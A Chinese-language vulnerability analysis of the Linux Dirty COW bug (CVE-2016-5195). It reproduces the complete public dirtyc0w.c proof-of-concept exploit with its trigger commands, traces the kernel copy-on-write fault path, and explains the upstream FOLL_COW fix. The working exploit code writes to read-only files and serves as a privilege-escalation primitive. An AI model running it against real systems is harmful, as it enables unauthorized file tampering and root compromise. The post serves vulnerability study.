DirtyCow漏洞算是2016年linux社区一件大事情了,通过此漏洞,非授权用户可以写入任意文件,进一步提升权限。漏洞触发简单,涉及众多的linux版本和平台(linux2.6.22及其以上,涉及redhat,ubuntu,suse等多多平台)。
简单来说,CVE-2016-5195漏洞原理是linux内核内存子系统在处理私有的只读存储映射时,触发里面的竞争条件导致获取文件可写入权限,从而可以进一步获取更大的权限。
触发代码:https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c
/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -lpthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include
#include
#include
#include
#include
void *map;
int f;
struct stat st;
char *name;
void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<100000000;i++)
{
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/secu ... 06661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
c+=madvise(map,100,MADV_DONTNEED);
}
printf("madvise %d\n\n",c);
}
void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/sh ... 23c16
> The in the wild exploit we are aware of doesn't work on Red Hat
> Enterprise Linux 5 and 6 out of the box because on one side of
> the race it writes to /proc/self/mem, but /proc/self/mem is not
> writable on Red Hat Enterprise Linux 5 and 6.
*/
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
lseek(f,map,SEEK_SET);
c+=write(f,str,strlen(str));
}
printf("procselfmem %d\n\n", c);
}
int main(int argc,char *argv[])
{
/*
You have to pass two arguments. File and Contents.
*/
if (argc<3)return 1;
pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
f=open(argv[1],O_RDONLY);
fstat(f,&st);
name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping. Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file. It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("mmap %x\n\n",map);
/*
You have to do it on two threads.
*/
pthread_create(&pth1,NULL,madviseThread,argv[1]);
pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/
pthread_join(pth1,NULL);
pthread_join(pth2,NULL);
return 0;
}
触发方式:
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -pthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
1.首先梳理下dirtyc0w.c
main函数将用户输入的只读文件mmap映射,flag参数是MAP_PRIVATE且只读。MAP_PRIVATE属性会在对此内存写入时,创建一个cow的副本。然后创建2个线程madviseThread和procselfmemThread,其中procselfmemThread通过/proc/self/mem文件尝试向被映射的内存不断写入数据,madviseThread则不断调用madvise(map,100,MADV_DONTNEED)取消映射,而两个线程不断操作,竞争条件触发只读文件获取写入权限,流程在内核代码中。
2.代码流程参考
https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
(1)第一次写操作:
faultin_page
handle_mm_fault
__handle_mm_fault
handle_pte_fault
do_fault <- pte is not present
if (!(flags & FAULT_FLAG_WRITE))
return do_read_fault(mm, vma, address, pmd, pgoff, flags,
orig_pte);
if (!(vma->vm_flags & VM_SHARED))
return do_cow_fault(mm, vma, address, pmd, pgoff, flags,
orig_pte);
这里判断写属性并且不是VM_SHARED,进入do_cow_fault创建cow副本
do_cow_fault <- FAULT_FLAG_WRITE
alloc_set_pte
这里4.1代码是do_set_pte():
if (write)
entry = maybe_mkwrite(pte_mkdirty(entry), vma);
maybe_mkwrite(pte_mkdirty(entry), vma) <- mark the page dirty
but keep it RO
这里执行cow配文件映射内存页的副本,返回NULL
# Returns with 0 and retry
follow_page_mask
follow_page_pte
(flags & FOLL_WRITE) && !pte_write(pte) <- retry fault
这里判断cow创建的内存页是否具有写权限,没有直接返回NULL,再次进入faultin_page
faultin_page
handle_mm_fault
__handle_mm_fault
handle_pte_fault
FAULT_FLAG_WRITE && !pte_write
if (flags & FAULT_FLAG_WRITE) {
if (!pte_write(entry))
return do_wp_page(mm, vma, address,
pte, pmd, ptl, entry);
entry = pte_mkdirty(entry);
这里由于副本完成了内存映射,所以没有进入缺页错误,而是直接来到这里,进入do_wp_page()
do_wp_page
PageAnon() <- this is CoWed page already
reuse_swap_page <- page is exclusively ours
wp_page_reuse
maybe_mkwrite <- dirty but RO again
ret = VM_FAULT_WRITE
这里直接使用cow操作的副本,并且一层层返回到faultin_page()函数中,此时带VM_FAULT_WRITE标志。到达
if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
*flags &= ~FOLL_WRITE;
这里会清除flags的FOLL_WRITE,因为后面需要对cow副本写入。按正常流程来讲,程序操作cow副本页。
((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE)) <- we drop FOLL_WRITE
# Returns with 0 and retry as a read fault
再次回到__get_user_pages的retry:
retry:
/*
* If we have a pending SIGKILL, don’t keep faulting pages and
* potentially allocating memory.
*/
if (unlikely(fatal_signal_pending(current)))
return i ? i : -ERESTARTSYS;
cond_resched();
page = follow_page_mask(vma, start, foll_flags, &page_mask);
正常流程会对cow副本页进行follow_page_mask()接下来操作,但是cond_resched();这个函数调用给其他线程抢占留了空隙,此时dirtyc0w.c的madviseThread()线程中的madvise(map,100,MADV_DONTNEED)取消了cow的映射,取消映射后进入follow_page_mask会再次触发缺页中断,而此时do_fault调用,已经在上面清理了flags的写权限的要求,直接调用do_read_fault读取映射文件的内存页,获取映射(原只读)文件的内存页,而不是cow的副本页,此时已经可越权操作。
cond_resched -> different thread will now unmap via madvise
follow_page_mask
!pte_present && pte_none
faultin_page
handle_mm_fault
__handle_mm_fault
handle_pte_fault
do_fault <- pte is not present
do_read_fault <- this is a read fault and we will get pagecache
page!
再次梳理:
正常流程:write只读文件->触发缺页错误->flag判断读写属性,进入do_cow_fault()->创建cow副页(只读),返回NULL->处理cow副页写权限错误,清除FOLL_WRITE权限要求->写入cow副页
漏洞流程:write只读文件->触发缺页错误->flag判断读写属性,进入do_cow_fault()->创建cow副页(只读),返回NULL->处理cow副页写权限错误,清除FOLL_WRITE权限要求-> madvise unmap cow副页内存映射->再次触发缺页中断,并且flag清除了FOLL_WRITE,直接调用do_read_fault获取文件内存页,可读。
commit 4ceb5db9757aaeadcf8fbbf97d76bd42aa4df0d6
commit 19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619
新增了FOLL_COW,faultin_page中去掉了取消FOLL_WRITE,加入了置位FOLL_COW,这样不会出现去掉FOLL_WRITE权限的操作,也不会引发后面问题。